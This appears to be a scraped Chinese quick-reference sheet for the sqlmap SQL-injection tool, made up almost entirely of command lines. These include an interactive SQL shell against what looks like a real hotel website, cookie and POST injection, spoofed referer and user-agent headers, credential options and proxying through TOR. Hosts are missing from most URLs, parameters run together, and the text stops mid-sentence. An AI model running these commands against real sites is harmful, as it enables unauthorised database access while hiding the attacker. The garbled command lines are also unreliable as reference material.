sqlmap单简中文说明.docxVIP

sqlmap简单中文说明更新svn checkout /sqlmap/trunk/sqlmap sqlmap-devsqlmap.py -u /hotelinchina.asp?cityid=2m=1 -v 1 --sql-shell //执行SQL语句sqlmap.py -u /hotelinchina.asp?cityid=2m=1 -v 5 //更详细的信息load options from a configuration INI filesqlmap -c sqlmap.conf使用POST方法提交sqlmap.py -u 21/sqlmap/oracle/post_int.php --method POST --data id=1使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookiespython sqlmap.py -u 21/sqlmap/mssql/cookie_int.php --cookie id=1 -v 1使用referer欺骗python sqlmap.py -u 21/sqlmap/pgsql/get_int.php?id=1 --referer -v 3使用自定义user-agent,或者使用随机使用自带的user-agents.txtpython sqlmap.py -u 21/sqlmap/oracle/get_int.php?id=1 --user-agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) -v 3python sqlmap.py -u 21/sqlmap/mysql/get_int.php?id=1 -v 1 -a ./txt/user-agents.txt使用基本认证python sqlmap.py -u 21/sqlmap/mysql/basic/get_int.php?id=1 --auth-type Basic --auth-cred testuser:testpass -v 3使用Digest认证python sqlmap.py -u 21/sqlmap/mysql/digest/get_int.php?id=1 --auth-type Digest --auth-cred testuser:testpass -v 3使用代理,配合TORpython sqlmap.py -u 21/sqlmap/pgsql/get_int.php?id=1 --proxy 7:3128python sqlmap.py -u 21/sqlmap/pgsql/get_int.php?id=1 --proxy 7:8118使用多线程猜解python sqlmap.py -u 21/sqlmap/mysql/get_int.php?id=1 -v 1 --current-user --threads 3绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入python sqlmap.py -u 21/sqlmap/pgsql/get_int.php?id=1 -v 1 -p idpython sqlmap.py -u 21/sqlmap/pgsql/get_int.php?id=1cat=2 -v 1 -p cat,idpython sqlmap.py -u 21/sqlmap/mysql/ua_str.php -v 1 -p user-agent --user-agent sqlmap/0.7rc1 ()指定数据库,绕过SQLMAP的自动检测python sqlmap.py -u 21/sqlmap/pgsql/get_int.php?id=1 -v 2 --dbms PostgreSQL* MySQL* Oracle* PostgreSQL* Microsoft SQL Server指定操作系统,绕过SQLMAP自动检测python sqlmap.py -u 21/sqlmap/pgsql/get_int.php?id=1 -v 2 --os Windows* Linux* Windows自定义payloadOptions: --prefix and --postfixIn some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presen